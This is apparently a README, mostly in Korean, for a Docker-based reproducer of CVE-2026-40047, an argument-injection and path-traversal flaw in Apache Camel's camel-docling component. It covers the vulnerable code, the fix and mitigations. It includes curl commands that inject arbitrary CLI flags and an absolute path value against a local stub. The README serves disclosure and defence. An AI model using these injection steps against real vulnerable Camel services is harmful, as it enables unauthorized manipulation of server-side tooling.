
Reproducer for CVE-2026-40047: Apache Camel camel-docling CLI argument injection / path traversal
본 프로젝트는 Apache Camel의 camel-docling 구성 요소에서 CLI 인수 삽입 및 경로 탐색 취약점(CVE-2026-40047)을 시연합니다. DoclingProducer는 메시지 헤더에서 외부 docling 명령줄 도구의 호출을 구성합니다. CamelDoclingCustomArguments 헤더를 통해 제공된 사용자 정의 인수는 불충분한 검증(차단 목록과 리터럴 ../ 검사)으로 추가되었으므로, 해당 헤더에 영향을 미칠 수 있는 공격자는 서브프로세스에 임의의 docling CLI 플래그와 경로 탐색 값을 주입할 수 있습니다.
권고: https://camel.apache.org/security/CVE-2026-40047.html
| 속성 | 값 |
|---|---|
| 구성 요소 | camel-docling |
| 영향을 받는 클래스 | org.apache.camel.component.docling.DoclingProducer (addCustomArguments / validateCustomArguments) |
| 근본 원인 | CamelDoclingCustomArguments (a List<String>)가 약한 차단 목록 + 리터럴 ../ 검사로 docling CLI 인수에 추가됨 |
| CWE | CWE-88 (인수 삽입) / CWE-22 (경로 탐색) |
| 영향 | 외부 도구에 임의/의도하지 않은 docling CLI 플래그와 디렉터리 외부 경로 값 주입. OS 명령 주입 아님(리스트 기반 ProcessBuilder, 셸 없음). |
| 영향을 받는 버전 | 4.15.0부터 4.18.3 이전까지 |
| 수정된 버전 | 4.18.3, 4.19.0 |
| JIRA | CAMEL-23212 |
| 보고자 | Andrea Cosentino (Apache Software Foundation) |
DoclingProducer는 docling 호출을 조합하고 java.lang.ProcessBuilder(리스트 형식, 셸 없음)를 통해 실행합니다. CamelDoclingCustomArguments 헤더의 사용자 정의 CLI 인수가 명령에 추가됩니다:
// DoclingProducer.addCustomArguments(...) - 영향을 받는 버전
List<String> customArgs = exchange.getIn().getHeader(DoclingHeaders.CUSTOM_ARGUMENTS, List.class);
if (customArgs != null && !customArgs.isEmpty()) {
validateCustomArguments(customArgs); // 차단 목록 + 리터럴 "../" 검사 (약함)
command.addAll(customArgs);
}
영향을 받는 버전에서 validateCustomArguments는 차단 목록을 기반으로 금지된 플래그를 확인하고 리터럴 ../을 포함하는 경로 값만 거부했습니다. 결과적으로:
docling에 전달됩니다.../ 없이 경로를 탐색하는 경로 값(절대 경로 또는 정규화된 시퀀스)은 포착되지 않습니다.Camel이 docling 호출을 구성하므로 구성 요소가 이 값을 제한할 책임이 있습니다. 수정(CAMEL-23212)은 차단 목록을 엄격한 허용 목록으로 대체하고, 프로듀서 관리 플래그(--output/-o)와 셸 메타 문자(심층 방어)를 거부하며, 경로 유사 값을 Path.normalize()로 정규화한 후 검증합니다.
호출은
ProcessBuilder의 리스트 형식을 사용하므로 셸이 값을 해석하지 않습니다. 셸 메타 문자를 통한 OS 명령 주입은 불가능하며, 수정에서 메타 문자 거부는 심층 방어입니다.
from("direct:convert")
.to("docling:convert?operation=CONVERT_TO_MARKDOWN&contentInBody=true");
docling은 외부 도구입니다. 이 재현기는 (컨테이너 내부 PATH에 있는) **스텁 docling**을 제공하며, 이 스텁은 수신한 argv를 기록하고 마크다운 파일을 다시 작성하므로 주입된 인수가 HTTP 응답 및 /tmp/docling-invocations.log에서 확인 가능합니다. 모든 것은 Docker 이미지(앱 + 스텁) 내에서 실행되므로 실제 docling 설치가 필요하지 않습니다.
docling 실행)mvn clean package -DskipTests
docker compose up -d --build
curl http://localhost:8080/exploit/normal
# 스텁 docling이 수신: docling --to md --ocr-lang en --output <tmp> /tmp/input.txt
curl "http://localhost:8080/exploit/attack"
# CamelDoclingCustomArguments = [--injected-by-attacker, arbitrary-value] 주입
# -> 스텁 docling이 수신:
# docling --injected-by-attacker arbitrary-value --to md --ocr-lang en --output <tmp> /tmp/input.txt
# 리터럴 "../"이 없는 경로 값(절대 경로)도 통과:
curl "http://localhost:8080/exploit/attack?flag=--artifacts-path&value=/etc/attacker-controlled"
영향을 받는 버전(이 재현기는 4.18.2를 고정)에서 라우트는 성공하며 주입된 인수가 서브프로세스에 도달합니다. 수정된 버전(4.18.3 / 4.19.0)에서는 허용 목록이 --injected-by-attacker를 IllegalArgumentException으로 거부하고 라우트가 실패합니다.
docker compose down
docling: 프로듀서의 CamelDoclingCustomArguments(또는 경로를 포함하는 헤더)로 전달하는 Camel 라우트.4.18.3 / 4.19.0으로 업그레이드하십시오. 수정은 인식된 docling 플래그에 대한 엄격한 허용 목록을 사용하고, 프로듀서 관리 플래그와 셸 메타 문자를 거부하며, 경로 값을 Path.normalize()로 정규화한 후 검증합니다.
업그레이드할 때까지:
CamelDoclingCustomArguments 또는 경로를 포함하는 헤더에 매핑하지 마십시오.docling: 프로듀서 전에 신뢰할 수 없는 프로듀서에서 수신한 메시지의 Camel 내부 헤더를 제거하십시오(removeHeaders("Camel*")).CVE-2026-40047/
├── pom.xml
├── Dockerfile # 앱 + PATH에 있는 스텁 'docling'
├── docker-compose.yml
├── docling-stub.sh # 스텁 'docling' (argv 로깅, 마크다운 작성)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DoclingRoute.java # from(direct:convert).to(docling:convert)
│ └── ExploitController.java # CamelDoclingCustomArguments 주입
└── resources/
└── application.properties
이 재현기는 보안 연구 및 승인된 테스트 전용으로, 공개적으로 공개되고 수정된 취약점을 위해 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.